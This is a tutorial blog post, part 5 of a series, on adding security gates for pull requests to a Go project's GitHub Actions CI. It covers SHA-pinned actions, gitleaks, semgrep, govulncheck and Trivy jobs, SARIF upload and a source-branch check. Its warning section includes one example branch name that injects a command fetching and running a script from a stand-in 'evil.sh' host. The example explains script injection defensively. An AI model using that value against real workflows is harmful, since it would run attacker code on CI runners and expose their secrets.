Part 5: The GitHub Repo and the PR Workflow as a Security Gate

· 20 min read

Indonesia
//TUTORIAL · 5 OF 10 — A Secure CI/CD Pipeline with Go, GitHub Actions, Vault, and Dokploy

Up to Part 4, everything lived on the laptop: Vault is ready, the Go app is done, and the Vault Agent sidecar runs in Compose. Nothing is on GitHub yet.

In this part the code goes up to GitHub and we put a security gate on every pull request. By the end, every PR into development or main runs seven checks automatically, and PRs into main also get their source branch checked.

One important thing up front: this part doesn't block merges yet. The goal is to get the checks running and green. Blocking through a ruleset comes in Part 6, because GitHub only lets you pick a status check as required after the workflow has run at least once.

text
PR into development / main ──► pr-checks.yml                                ├─ test               gofmt, go vet, go test -race                                ├─ gitleaks           any leaked secret?                                ├─ semgrep            dangerous code (SAST)                                ├─ govulncheck        vulns the code actually calls                                ├─ dependency-review  vulnerable new dependencies                                ├─ trivy-config       misconfigured Dockerfile                                └─ trivy-image        CRITICAL CVEs that have a fixPR into main ────────────────► source-branch.yml (must come from development)

Before going public: scan the whole history

This repo will be public. Once a secret is pushed to a public repo, treat it as leaked. Bots scan GitHub within minutes, and deleting the commit doesn't pull back copies someone already grabbed. So scan before pushing, not after.

bash
git statusgit log --oneline --graph --allgitleaks git . --redact --no-banner

gitleaks git . scans the whole git history, not just the files as they are now. A secret committed once and deleted in a later commit is still in history and still gets pushed. --redact masks the value in the output if it finds one.

Check: the last line should say no leaks found.

Note

Why `testdata/` and `vault/policies/` stay committed

testdata/config.json holds deliberately labelled dummy values (dev-only-not-a-secret-...) that the tests read. Ignore it and the CI test job fails because the file isn't there. What goes in .gitignore is .env, config.local.json, and build output. testdata only goes in .dockerignore, so it stays out of the image. Vault policies aren't secrets either: they're access rules, not keys. Keeping them in the repo is a good thing, because permission changes then go through PR review.

Create the repo and branches

I deliberately don't push the app code straight into development. I want everything to arrive through a PR, the way a team works. So main and development start with only the initial commit.

bash
gh repo create dimss113/secure-cicd-go --public \  --description "Secure CI/CD demo: Go API, GitHub Actions security gates, Vault Agent sidecar, Dokploy"git remote add origin git@github.com:dimss113/secure-cicd-go.gitgit push -u origin maingit branch development maingit push -u origin developmentgh repo edit dimss113/secure-cicd-go --default-branch development

git branch development main creates development from main without switching to it. --default-branch development makes new PRs target it by default.

Turn on the repo security settings

Before any workflow exists, a few repo settings act as the first layer:

bash
REPO=dimss113/secure-cicd-go gh api -X PUT repos/$REPO/vulnerability-alerts gh api -X PATCH repos/$REPO \  -f "security_and_analysis[secret_scanning][status]=enabled" \  -f "security_and_analysis[secret_scanning_push_protection][status]=enabled" gh api -X PUT repos/$REPO/actions/permissions/workflow \  -f default_workflow_permissions=read \  -F can_approve_pull_request_reviews=false

Setting

What it does

vulnerability-alerts

Dependabot alerts for the dependencies in go.mod

secret_scanning_push_protection

Rejects a git push containing a recognised secret pattern. A layer before Gitleaks in CI

default_workflow_permissions=read

GITHUB_TOKEN is read-only by default. A job that needs more has to ask for it

can_approve_pull_request_reviews=false

Workflows can't approve PRs. A compromised workflow can't wave its own PR through

-f sends the value as a string, -F infers the type, so false goes out as a boolean.

Check:

bash
gh api repos/$REPO --jq .security_and_analysisgh api repos/$REPO/actions/permissions/workflow# {"default_workflow_permissions":"read","can_approve_pull_request_reviews":false}

Also make sure Dependency graph is on under Settings → Advanced Security. The dependency-review job needs it. Public repos usually have it on already.

Then the app code arrives through PR #1:

bash
git switch feature/vault-agentgit push -u origin feature/vault-agentgh pr create --base development --head feature/vault-agent \  --title "feat: go api with vault agent sidecar"gh pr merge --merge --delete-branch

PR #1 runs no checks at all, because the workflow doesn't exist yet. That's on purpose: PR #2 adds the workflow, and the workflow immediately checks its own PR.

Shift left: the scanners find a real problem on the laptop

Before writing the workflow, I ran the scanners CI will use. Finding things on the laptop is much faster than waiting for CI to go red.

bash
git switch -c feature/pr-checksgo run golang.org/x/vuln/cmd/govulncheck@v1.9.0 ./...

And there was a finding right away:

text
Vulnerability #1: GO-2026-6809    Distrust compromised intermediate certificates in crypto/x509  Found in: crypto/x509@go1.27.1  Fixed in: crypto/x509@go1.27.3    Example traces found:      #1: internal/cryptobox/cryptobox.go:40:24: cryptobox.Box.Encrypt calls rand.Read, which eventually calls x509.Certificate.VerifyVulnerability #2: GO-2026-6617    HTTP/2 server crash due to HPACK encoder race in net/http  Found in: net/http/internal/http2@go1.27.1  Fixed in: net/http/internal/http2@go1.27.2exit status 3

The problem is in the Go 1.27.1 standard library, not in my code. The Example traces are what make govulncheck worth having: they prove our code actually calls the vulnerable function, instead of just matching a version number. exit status 3 means this job will fail in CI.

The fix is to move to Go 1.27.3. Something that nearly fooled me: it has to change in two places.

bash
go mod edit -toolchain=go1.27.3
Dockerfile dockerfile
FROM golang:1.27.3-alpine@sha256:d200d2dd76b03a99b52651fd1325aff7dcd35422c35c01bac56571b0507f3deb AS build

Warning

A false green if you only bump `go.mod`

actions/setup-go reads go.mod in CI, so govulncheck goes green. But the official golang image sets GOTOOLCHAIN=local, so the Go 1.27.1 inside it won't upgrade itself even when go.mod asks for 1.27.3. Result: CI is green while the binary running on the server is still built with the vulnerable version. go.mod and the Dockerfile must always agree.

The sha256:… digest comes from the registry, not from thin air: docker buildx imagetools inspect golang:1.27.3-alpine, take the top Digest: line. That's the multi-arch index digest, so a build on a Mac still picks arm64 and the GitHub runner picks amd64.

Check:

bash
go run golang.org/x/vuln/cmd/govulncheck@v1.9.0 ./...   # No vulnerabilities found.go test -race ./...docker build -t scg-check . && trivy image --severity HIGH,CRITICAL scg-checkgit commit -am "fix: build with go 1.27.3 to pick up stdlib security fixes"

Interestingly, Trivy also saw the same issue in the old image: 4 HIGH findings in stdlib. But the Trivy image gate won't block on that, because its rule is CRITICAL only. Why that is comes further down.

The pr-checks.yml workflow

All the jobs live in one file, .github/workflows/pr-checks.yml. I'll show it piece by piece so each explanation sits next to its code.

The top of the file

.github/workflows/pr-checks.yml yaml
name: pr-checks on:  pull_request:    branches: [development, main] permissions:  contents: read concurrency:  group: pr-checks-${{ github.event.pull_request.number }}  cancel-in-progress: true
  • on: pull_request runs when a PR into development or main is opened or pushed to. It's deliberately not pull_request_target: for a PR from a fork, pull_request runs with a read-only token and no repo secrets. pull_request_target runs with the target repo's full rights, and if it also checks out the PR's code, a stranger gets to run their code next to your secrets.

  • permissions: contents: read is the default for every job: read the code, nothing else.

  • concurrency cancels the old run when you push a new commit to the same PR. It saves runner minutes, and the result is always for the latest commit.

A few habits repeat in every job:

Habit

Why

Job ID (test, gitleaks, …)

It's also the status check name. The Part 6 ruleset picks these names, so don't keep renaming them

runs-on: ubuntu-24.04

Pinned, not ubuntu-latest, so the runner doesn't change under you

timeout-minutes

A stuck job gets killed quickly. GitHub's default is 360 minutes

persist-credentials: false

Checkout doesn't leave the token on the runner's disk

uses: owner/repo@<sha40> # vX.Y.Z

Actions pinned to a full commit SHA

Pinning actions to a commit SHA

yaml
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1

A tag like v7 or v0.36.0 can be moved to different code by the repo owner, or by an attacker who took over their account. A workflow using the tag runs that code straight away, and that code can read your repo and your token. The real case is tj-actions/changed-files in March 2025: every tag was pointed at code that dumped CI secrets into the logs. A commit SHA can't be moved. The # v7.0.1 comment is only a reminder for humans.

Finding the SHA yourself when upgrading:

bash
gh api repos/actions/checkout/commits/v7.0.1 --jq .sha

If Settings → Actions → General has the option "Require actions to be pinned to a full-length commit SHA", tick it. GitHub will then reject any uses: that still points at a tag.

persist-credentials: false

To clone, actions/checkout uses GITHUB_TOKEN. By default it keeps that token on the runner so later git commands are authenticated. The problem is that go test runs the PR's code. A malicious test can read that credential file and send it somewhere. A third-party action in the same job can read it too. This workflow never runs git push, so there's no reason to keep the token at all.

It stacks with contents: read and with the token expiring when the job ends. If one layer fails, the others still hold.

The test job

yaml
  test:    runs-on: ubuntu-24.04    timeout-minutes: 10    steps:      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1        with:          persist-credentials: false      - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0        with:          go-version-file: go.mod      - name: gofmt        run: |          unformatted="$(gofmt -l .)"          if [ -n "$unformatted" ]; then            echo "::error::These files are not gofmt-ed:"            echo "$unformatted"            exit 1          fi      - name: go vet        run: go vet ./...      - name: go test        run: go test -race ./...

The runner is an empty VM, so it needs two uses:: one fetches the code, one installs Go. go-version-file: go.mod reads the toolchain go1.27.3 line, so the version is deterministic. gofmt -l only lists files that aren't formatted, it doesn't change them. ::error:: shows up as a red annotation in the run summary. -race catches data races in the tests.

The gitleaks job

yaml
  gitleaks:    runs-on: ubuntu-24.04    timeout-minutes: 10    permissions:      contents: read      security-events: write    steps:      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1        with:          fetch-depth: 0          persist-credentials: false      - name: Install gitleaks        env:          GITLEAKS_VERSION: 8.30.1          GITLEAKS_SHA256: 551f6fc83ea457d62a0d98237cbad105af8d557003051f41f3e7ca7b3f2470eb        run: |          curl -sSfL -o gitleaks.tar.gz \            "https://github.com/gitleaks/gitleaks/releases/download/v${GITLEAKS_VERSION}/gitleaks_${GITLEAKS_VERSION}_linux_x64.tar.gz"          echo "${GITLEAKS_SHA256}  gitleaks.tar.gz" | sha256sum --check -          tar -xzf gitleaks.tar.gz gitleaks          rm gitleaks.tar.gz      - name: Scan PR commits        env:          BASE_SHA: ${{ github.event.pull_request.base.sha }}          HEAD_SHA: ${{ github.event.pull_request.head.sha }}        run: |          ./gitleaks git . --no-banner --redact \            --log-opts="${BASE_SHA}..${HEAD_SHA}" \            --report-format sarif --report-path gitleaks.sarif      - name: Upload SARIF        if: ${{ !cancelled() }}        uses: github/codeql-action/upload-sarif@9b3254085494b55a0f7c4c2b3d2d52cc712ce370 # v4.39.1        with:          sarif_file: gitleaks.sarif          category: gitleaks

Fails when: any secret appears in this PR's commits. There's no severity threshold. A secret is a secret.

Things worth noticing:

  • I don't use gitleaks/gitleaks-action, because it's under an EULA, not an open source license. Instead the official binary is downloaded and checked against a pinned SHA-256. Same idea as pinning a SHA: if someone swaps the release file, the hash changes and the job stops.

  • fetch-depth: 0 fetches the full history. Checkout defaults to one commit, and a secret added in a middle commit and removed in the last one still has to be caught. Without it, gitleaks fails with Invalid revision range.

  • --log-opts="BASE..HEAD" limits the scan to this PR's commits.

  • --redact matters because Actions logs on a public repo are readable by anyone.

Warning

A job's `permissions:` block replaces, it doesn't add

As soon as a job declares its own permissions:, the top-level contents: read is gone for that job. That's why contents: read is written again next to security-events: write. Only jobs that upload SARIF get security-events: write.

SARIF and the Security tab

SARIF is a standard JSON format for scan results. Gitleaks, Semgrep, and Trivy each have their own output, but all of them can write SARIF, and GitHub only has to understand that one format. Once uploaded through github/codeql-action/upload-sarif, findings show up under Security → Code scanning, and new ones appear as annotations on the code lines in the PR's Files changed tab. The history is kept too: when a finding appeared, when it was fixed, when it was dismissed. We'll use that in Part 9.

Two small details that matter:

  • category must be different for each tool. If two share one, they overwrite each other.

  • if: ${{ !cancelled() }}. Every step has an implicit if: success(), so once the scan finds a secret (exit 1), the upload is skipped and the report is lost. That's exactly when you need it most. !cancelled() means "run as long as the run wasn't cancelled", whether earlier steps passed or failed. The job is still red, so the gate still works. I don't use always(), because that runs even when concurrency cancels the run. The ${{ }} wrapper is there because a leading ! has a special meaning in YAML.

Note

SARIF is a report, not a gate. What decides red or green is still the scan step's exit code.

The semgrep job

yaml
  semgrep:    runs-on: ubuntu-24.04    timeout-minutes: 10    permissions:      contents: read      security-events: write    container:      image: semgrep/semgrep:1.182.0@sha256:4a34048c04fef049f71665047f074cffb00cc3d89482f965a5cd151d589237af    steps:      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1        with:          persist-credentials: false      - name: Semgrep scan        run: |          semgrep scan --config p/golang --config p/default --config p/secrets \            --severity ERROR --error --metrics=off \            --sarif-output=semgrep.sarif      # Upload SARIF: same as gitleaks, category: semgrep

Fails when: there's an ERROR-severity finding. WARNING and INFO are ignored so the gate doesn't get noisy.

The job runs inside the official Semgrep CE container, pinned by tag and digest. The flag people forget most is --error: without it, Semgrep always exits successfully even with findings. --metrics=off stops it sending usage data.

Note

`p/default` only got added in Part 6

My first version used only p/golang and p/secrets. When I built a demo PR in Part 6 that deliberately contained exec.Command("sh", "-c", input), p/golang didn't catch it. The dangerous-exec-command rule lives in p/default. I'm showing the fixed version here, and the full story is in Part 6.

The govulncheck job

yaml
  govulncheck:    runs-on: ubuntu-24.04    timeout-minutes: 10    steps:      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1        with:          persist-credentials: false      - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0        with:          go-version-file: go.mod      - name: govulncheck        run: go run golang.org/x/vuln/cmd/govulncheck@v1.9.0 ./...

Fails when: there's a reachable vuln, one the code actually calls (exit 3). It's the same command I ran on the laptop, with no third-party action. Because govulncheck checks the standard library of whatever Go is installed, the Go version has to be pinned through go.mod.

The dependency-review job

yaml
  dependency-review:    runs-on: ubuntu-24.04    timeout-minutes: 10    steps:      - uses: actions/dependency-review-action@a1d282b36b6f3519aa1f3fc636f609c47dddb294 # v5.0.0        with:          fail-on-severity: high

Fails when: the PR adds or upgrades a dependency with a High or Critical vuln. The action compares the dependency graph before and after the PR, so it doesn't need a checkout.

dependency-review

govulncheck

Looks at

Only dependency changes in the PR

All the code

Decides on

Version numbers

Whether the vulnerable function is actually called

They complement each other: dependency-review stops a vulnerable dependency on the way in, govulncheck catches a new vuln in a dependency that's been there for ages.

The trivy-config and trivy-image jobs

The two Trivy jobs check different things:

trivy-config

trivy-image

Scans

The recipe: Dockerfile and vault-agent/Dockerfile

The result: the built image

Looks for

Misconfigurations, like running as root

CVEs in OS packages, Go stdlib, libraries

Who can fix it

Always us

Sometimes we wait for a vendor

Fails when

HIGH or CRITICAL

CRITICAL that already has a fix

The different thresholds are deliberate. A misconfiguration is always ours to fix on the spot, so even HIGH blocks. A CVE with no fix can't be solved by upgrading. If it blocked, every PR could be stuck for days over something outside our control. HIGH gets recorded in the Security tab, and that's enough. Trivy also doesn't scan Compose files, so only the two Dockerfiles are read.

yaml
  trivy-image:    runs-on: ubuntu-24.04    timeout-minutes: 15    permissions:      contents: read      security-events: write    steps:      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1        with:          persist-credentials: false      - name: Build image (not pushed)        run: docker build -t secure-cicd-go:pr .      - name: Trivy image (SARIF report)        uses: aquasecurity/trivy-action@ed142fd0673e97e23eac54620cfb913e5ce36c25 # v0.36.0        with:          version: v0.76.1          scan-type: image          image-ref: secure-cicd-go:pr          severity: HIGH,CRITICAL          limit-severities-for-sarif: true          format: sarif          output: trivy-image.sarif          exit-code: 0      - name: Upload SARIF        if: ${{ !cancelled() }}        uses: github/codeql-action/upload-sarif@9b3254085494b55a0f7c4c2b3d2d52cc712ce370 # v4.39.1        with:          sarif_file: trivy-image.sarif          category: trivy-image      - name: Trivy image (gate)        uses: aquasecurity/trivy-action@ed142fd0673e97e23eac54620cfb913e5ce36c25 # v0.36.0        with:          version: v0.76.1          skip-setup-trivy: true          scan-type: image          image-ref: secure-cicd-go:pr          severity: CRITICAL          ignore-unfixed: true          format: table          exit-code: 1

trivy-config has exactly the same shape, minus the build step, with scan-type: config, scan-ref: ., category: trivy-config, and a gate of severity: HIGH,CRITICAL without ignore-unfixed. I won't repeat it here.

The report → upload → gate pattern is the core idea. The report step uses exit-code: 0, so it never fails and always records every HIGH and CRITICAL. The gate step uses exit-code: 1 with a narrower rule, and prints a table that's easy to read in the log. If the gate came first and failed, the report would never run and the Security tab would be empty exactly when there's something to see.

A few other inputs: version: v0.76.1 installs the same Trivy as on the laptop (without it, the action installs its own older default). skip-setup-trivy: true on the second step because Trivy is already installed. The image is not pushed anywhere. Pushing happens in Part 8, after it passes.

Real examples from testing in this repo:

  • Remove the USER 65532:65532 line from the Dockerfile → trivy-config goes red with DS-0002 (HIGH): Specify at least 1 USER command. That becomes one of the demo PRs in Part 6.

  • The image built with Go 1.27.1 → the report records 4 HIGH in stdlib, but the gate stays green because there's no CRITICAL. I fixed it anyway because the report made it visible, it just didn't block.

Warning

A typo under `with:` doesn't turn the job red

My first version had limit-se-for-sarif in the trivy-config job. GitHub only shows a yellow Unexpected input(s) warning, the job stays green, and the input is silently ignored. actionlint doesn't catch it either, because for a SHA-pinned action it doesn't know the input list. I only noticed in Part 6. The same can happen with persists-credentials (one extra s): the hardening is off and nothing goes red. So read the yellow annotations in the run summary, don't just look at the green ticks.

Note

The `exceptions` job and `trivyignores`

If you open pr-checks.yml in the finished repo, there's one more job called exceptions and a trivyignores: .trivyignore input on the Trivy steps. Both belong to the exception process in Part 9, together with the .trivyignore and .gitleaksignore files. At this stage those files don't exist yet.

The source-branch.yml workflow

The flow I want: the only way into main is through development. This small workflow enforces it.

.github/workflows/source-branch.yml yaml
name: source-branch on:  pull_request:    branches: [main] permissions: {} jobs:  source-branch:    runs-on: ubuntu-24.04    timeout-minutes: 2    steps:      - name: Only development may open a PR into main        env:          HEAD_REF: ${{ github.head_ref }}        run: |          if [ "$HEAD_REF" != "development" ]; then            echo "::error::PR into main must come from development, not '$HEAD_REF'"            exit 1          fi          echo "Source branch is development: OK"

permissions: {} means a token with no rights at all. The job doesn't need to read the code, so there's no checkout. github.head_ref is the PR's source branch name.

Danger

Never put user-controlled `${{ }}` straight into `run:`

${{ ... }} is pasted into the script as text before bash runs it. The branch name is chosen by whoever opens the PR, and on a public repo anyone can open one from a fork. A branch could be named a";curl${IFS}evil.sh|sh;". Write if [ "${{ github.head_ref }}" != ... ] and that command runs on the runner. Through env:, the value arrives as a variable, and bash treats "$HEAD_REF" as data. It's also why BASE_SHA and HEAD_SHA in the gitleaks job go through env:.

Lint, push, and PR #2

Before pushing, check the workflows with actionlint. It catches mistyped keys, broken ${{ }} expressions, and runs shellcheck on the run: blocks if shellcheck is installed. No output means clean.

bash
go run github.com/rhysd/actionlint/cmd/actionlint@v1.7.12git add .github/workflows/pr-checks.yml .github/workflows/source-branch.ymlgit commit -m "ci: add pull request security gates"git push -u origin feature/pr-checksgh pr create --base development --title "ci: add pull request security gates"gh pr checks --watch

Files are named one by one in git add, not git add ., so nothing slips in by accident. gh pr checks --watch keeps refreshing until everything finishes.

Check:

text
✓  pr-checks/dependency-review✓  pr-checks/gitleaks✓  pr-checks/govulncheck✓  pr-checks/semgrep✓  pr-checks/test✓  pr-checks/trivy-config✓  pr-checks/trivy-image

source-branch doesn't appear, and that's correct: this PR targets development, not main.

Check the Security tab too:

bash
gh api repos/dimss113/secure-cicd-go/code-scanning/analyses \  --jq '.[] | .category + "  results=" + (.results_count|tostring)'

You should see four categories, gitleaks, semgrep, trivy-config, trivy-image, each with results=0. If something is red, gh run view --log-failed shows only the logs of the failed steps.

Once everything is green, merge:

bash
gh pr merge --merge --delete-branchgit switch development && git pull

Warning

This merge is still possible even with red checks. There's no ruleset yet. So for now, make sure yourself that everything is green before merging.

When something goes wrong

Symptom

Cause

Fix

git push rejected with GH013 ... secret

Push protection found a secret pattern

The first layer works. Remove the secret from the commit, don't pick "allow"

SARIF upload: Resource not accessible by integration

The job lacks security-events: write

Check that job's permissions: block

SARIF upload: Code scanning is not enabled

The repo is still private

Code scanning is free only for public repos

Dependency review is not supported on this repository

Dependency graph is off

Turn it on under Settings → Advanced Security

Gitleaks fatal: Invalid revision range

Incomplete history

fetch-depth: 0 on the checkout

sha256sum: ... did NOT match

The download differs from the pinned hash

Don't just swap the hash. Check checksums.txt on the official release page

govulncheck fails in CI but passes locally

Different Go versions

Make sure the toolchain line in go.mod is committed

Recap

  • A public repo dimss113/secure-cicd-go with development as the default branch, its history scanned by Gitleaks before going public.

  • Dependabot alerts, secret scanning, and push protection on. The Actions token is read-only by default and workflows can't approve PRs.

  • Go bumped to 1.27.3 in go.mod and the Dockerfile, after govulncheck found two reachable stdlib vulns.

  • pr-checks.yml with seven jobs: test, gitleaks, semgrep, govulncheck, dependency-review, trivy-config, trivy-image, each with a clear fail threshold.

  • Gitleaks, Semgrep, and Trivy results land in the Security tab through SARIF.

  • Every action pinned to a commit SHA, minimal permissions: per job, persist-credentials: false, user input passed through env:.

  • source-branch.yml, which rejects a PR into main unless it comes from development.

All the checks run now, but they can still be ignored. In Part 6 we add rulesets so a red check really blocks the merge, then prove it with demo PRs that deliberately contain a secret, dangerous code, a vulnerable dependency, and a root container. That's also where the two gate weaknesses I mentioned above came to light.

Related articles